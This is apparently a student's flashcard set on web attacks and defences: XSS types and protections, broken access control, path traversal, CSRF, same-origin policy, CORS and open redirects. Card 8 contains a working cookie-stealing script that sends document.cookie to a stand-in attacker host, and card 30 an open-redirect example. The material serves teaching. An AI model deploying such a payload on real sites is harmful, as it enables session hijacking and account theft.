web attacks part 2 Flashcards

1
Q

what is XXS?

A

inject client - side code into web oages viewed by ther users
attackers trick web application to view malicious code

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

what are the goals of cross site scripting?

A

display images, open popups
session hijacking : stealing cookies
changes page contents

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

what is the underlying issues with xxs?

A

input/out[ut validation – never trust user inputs

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

what does xxs stand for

A

cross site scripting

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

what is stored xxs?

A

occurs when malicious code in injected in the server side storage, and then code is later showed to the users

e.g Comments on a blog, posts on Facebook etc

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

what is reflected xxs?

A

Injected malicious code not stored in server but immeaduately displayed on visited page.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

describe session hijacking with xxs

A

1)attacker injects script on a server and waits for a victim
2)server passes a session cookies and the attackers script to a visitor
3)script runs the victim’s browser and passes session cookie to attacker
4)attacker passes the stolen cookie making server think he is the victim

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

what does this code do

<script>
document.location.replace(
"http://www.badguy.example/steal.php"
\+ "?what=" + document.cookie)
</script>
A

session hijacking xxs code

redirects victim’s browser to attackers site, passing cookie

might also pass currently visited web page

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

alternative to xxs?

A

Alternatively, do a request, load an image, etc

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

what are some methods of xxs protection?

A

validate user input: only allowing a strict subset of inputs (e.g alphanumeric characters )
output filtering
use HTTP only cookies
Enable content security policy

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

what are the two different types of output filtering in xxs protections

A

plain output : HTML encoding
marked up output: encoding + domain specific language

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

describe plain output filtering in xxs protections

A

html encoding:
store data values need to be encoded to represent in HTML

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

describe marked up output filtering in xxs protections

A

encoding + domain specific language(DSL)
use dedicated syntax and covert into a safe subset of html

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

describe validate user input in xxs protections

A

only allows a strict subset of characters
(e.g alphanumeric characters )

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

why might validating user input be tricky

A

have to understand data flow of app
e.g (quoting,encoding,pass to/from functions , databases etc)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

describe using HTTP only cookies in xxs protections

A

cookies with http only flag not accessible though javascript , preventing theft through document.cookies

17
Q

describe using Enable Content Security Policy (CSP) in xxs protections

A

A strict CSP can prevent inline scripts and can limit which domains can be requested.

18
Q

broken access control: object references: path traversal
what does this do?

https://myblog.org/index.php?entry=2025-03-17.html

A

The file index.php :
* reads a plain HTML file (2025-03-17.html )
* wraps it with navigation links, site style

19
Q

broken access control: object references: path traversal
what does this do?

A
  • remote users can potentially visit any file on the system!
  • mistake motivates defence-in-depth:
  • http server should not serve just any file
  • use internal web server config (separate apps)
  • and external OS config (e.g. nobody user, chroot)
  • use of allow-lists (filter inputs against known, safe options)
  • ⚠ A well-written app should only allow access to its own resources.
    16
20
Q

what are the solutions to broken access control: object references

A

revalidate
check authorisation again
obvious solution but doubles effort

add a data indirection:
session specific server side array of account numbers
use databases/hashtables

21
Q

what is BAC object references: Too much information

A

passign potentially unesscessary information to client and expecting it unmodified.

22
Q

how to make sure information is protected in BAC object references

A

MAC constructed with server side secret key to make sure info stays unmodified

23
Q

BAC object references
how to prevent unauthorised users from visiting a site even when you hid the link

A

Advice:
* Manage authorisation in a separate module
* have a single route through code
* can trace to make sure authorisation happens
* Make authorisation checks for each function
* Use deny-by-default policy

24
Q

Describe BAC : CRSF

A

Exploits browser’s trust relationship with a website (e.g., an existing login)
* local intranet website (home router admin, …)
* banking or email site user is logged into
* browser is authorised to connect here

Attacker triggers malicious action
get user to open malicious link
browser undertakes action on target site on behalf of authorised user

25
Q

protections or BAC:CRSF

A

Do not use GET for any (sensitive) state change, but not enough (as seen in demo)
* Use a framework that has built-in protection
* Using a double cookie trick
* Set a secure secret session ID in a cookie
* Submit it in cookie and hidden field on form
* Server-side check if fields are identica
* Use a special CSRF token in POST
* Secure random number (challenge) for each login
* Send this with POST and check server-side

26
Q

what is same origin policy

A

The same-origin policy is a now standard browser-side mechanism to protect
simultaneously running web applications from one another.
It restricts access to:
* DOM (i.e., representation of the document)
* APIs for web access (XMLHttpRequest)
* Cookies, HTML5 local storage APIs
to pages from the same domain, i.e., protocol-host-port.
Browser sandboxing enhances this (e.g., in most modern browsers, separate tabs/frames
run in separate processes)

27
Q

describe access control

A

Modern web applications use JavaScript APIs like fetch and XMLHttpRequest to send and receive data
asynchronously.
* The Same-origin Policy restricts JavaScript from making requests to a different origin than the page itself,
preventing unauthorised access to sensitive data.
* However, the Same-origin Policy is too restrictive for legitimate cases, such as APIs or third-party services.
* CORS (Cross-Origin Resource Sharing) was introduced as a standardised mechanism to relax the Same-
origin Policy securely.
* CORS works by allowing servers to specify permitted origins using special HTTP headers, e.g.:
Access-Control-Allow-Origin: http://www.example.com
or
Access-Control-Allow-Origin: *

28
Q

how to make sure deployment is successful

A

The whole web app stack must be secured!
* Make sure up-to-date w.r.t. security patches
* OS, Web/App Server, DBMS, app
framework, libs…
* Disable unnecessary features
* Default accounts, demo pages, debug
interfaces
* Use minimum privilege
* Separate concerns, ACLs per
component/app
* Ensure error handling does not expose
info
* Have a repeatable security config process
* An app-specific checklist to work through
* Uniform config for development, QA,
deployment
* Have a automated checking process
* Ensure configuration security

29
Q

describe redirects

A

Unvalidated redirects and forwards
* Web apps often allow redirections which
* send users off-site with a polite message
* reroute them immediately
http://www.example.com/redirect.jsp?url=www.disney.com
* or forwards which
* redirect internally to different parts of the same site
http://www.example.com/login.jsp?fwd=admin.jsp

30
Q

describe unvalidated urls

A

Attackers can craft URLs that fool users:
* www.example.com/redirect.jsp?url=www.evilhacker.com
* These kind of open redirect links are favourites for phishing attacks,
especially as ultimate destinations can be concealed in URL encodings.
* However, this may not directly harm www.example.com .
* So, preventing open redirects is a typical example of a community-wide
desirable security measure (like older cases in network security: open mail
relays, ICMP broadcast, etc.): good practice of all provides security for others.